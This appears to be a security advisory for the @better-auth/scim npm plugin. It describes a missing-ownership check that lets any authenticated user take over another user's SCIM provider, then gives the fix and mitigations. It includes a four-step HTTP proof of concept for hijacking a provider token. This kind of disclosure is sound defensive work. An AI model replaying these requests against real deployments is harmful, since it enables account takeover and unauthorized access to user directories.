high · 8.3Jul 7, 2026

@better-auth/scim: SCIM Provider Account Takeover via Missing Owner Binding

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any authenticated user can hijack another user's SCIM directory connection by calling the token-regeneration endpoint with a known provider ID, invalidating the legitimate bearer token and gaining…

Package@better-auth/scim
Ecosystemnpm
Affected>= 1.5.0, < 1.7.0-beta.4
Fixed in1.7.0-beta.4

The problem

The @better-auth/scim plugin (versions 1.5.0 through 1.7.0-beta.3) creates non-organization SCIM provider rows without recording the creator's userId. The access check for management endpoints only blocks access when a stored owner ID is present and differs from the caller.

Because rows are created ownerless by default, the condition is always false and every authenticated user passes the check. This reaches every management operation: provider read, connection listing, token generation and regeneration, and provider deletion.

Proof of concept

A working proof-of-concept for this issue in @better-auth/scim, with the exact payload below.

http
# Step 1: Alice (victim) creates a non-org SCIM provider
POST /api/auth/scim/generate-token
Cookie: alice-session
Content-Type: application/json

{"providerId": "corp-idp"}

# HTTP 201 - Alice receives a scimToken; provider row has no userId

# Step 2: Bob (attacker) reads Alice's provider metadata
GET /api/auth/scim/get-provider-connection?providerId=corp-idp
Cookie: bob-session

# HTTP 200 - returns provider details with no ownership check

# Step 3: Bob regenerates the token - taking over Alice's provider
POST /api/auth/scim/generate-token
Cookie: bob-session
Content-Type: application/json

{"providerId": "corp-idp"}

# HTTP 201 - Bob receives a new scimToken; Alice's token is now invalid

# Step 4: Bob uses the stolen token against Alice's SCIM API
GET /api/auth/scim/v2/Users
Authorization: Bearer <bob-scimToken>

# HTTP 200 - full SCIM API access on Alice's provider

The root cause is a flawed conditional in the non-organization branch of the access check: if (provider.userId && provider.userId !== userId). When the provider row has no userId (the default), the condition short-circuits to false and the request is allowed for any caller.

The fix in 1.7.0-beta.4 removes the providerOwnership opt-in entirely and makes owner binding mandatory. generateSCIMToken now always writes the caller's userId to the new scimProvider.userId column, and every management endpoint enforces that the caller's session userId matches the stored owner.

CWE-862 (Missing Authorization) and CWE-639 (Authorization Bypass Through User-Controlled Key) both apply: there was no ownership check, and the attacker supplied a known string key (the providerId) to target another user's resource.

The fix

Upgrade to @better-auth/scim@1.7.0-beta.4 (stable 1.7.0 when released). This is a breaking change: the providerOwnership option is removed, the scimProvider.userId column is added to the schema, and owner binding is unconditional. Run npx auth migrate after upgrading.

Provider rows created before the upgrade have no userId and will be inaccessible through management endpoints; reclaim them by setting userId to the intended owner at the database level, then regenerating tokens.

If you must stay on the 1.6.x stable line (which is unpatched), add providerOwnership: { enabled: true } when registering the plugin and run npx auth generate or npx auth migrate to create the userId column. Alternatively, scope all providers to an organization via organizationId, or block the SCIM management endpoints at the edge.

Reported by Jvr2022.

References: [1][2][3]

Related research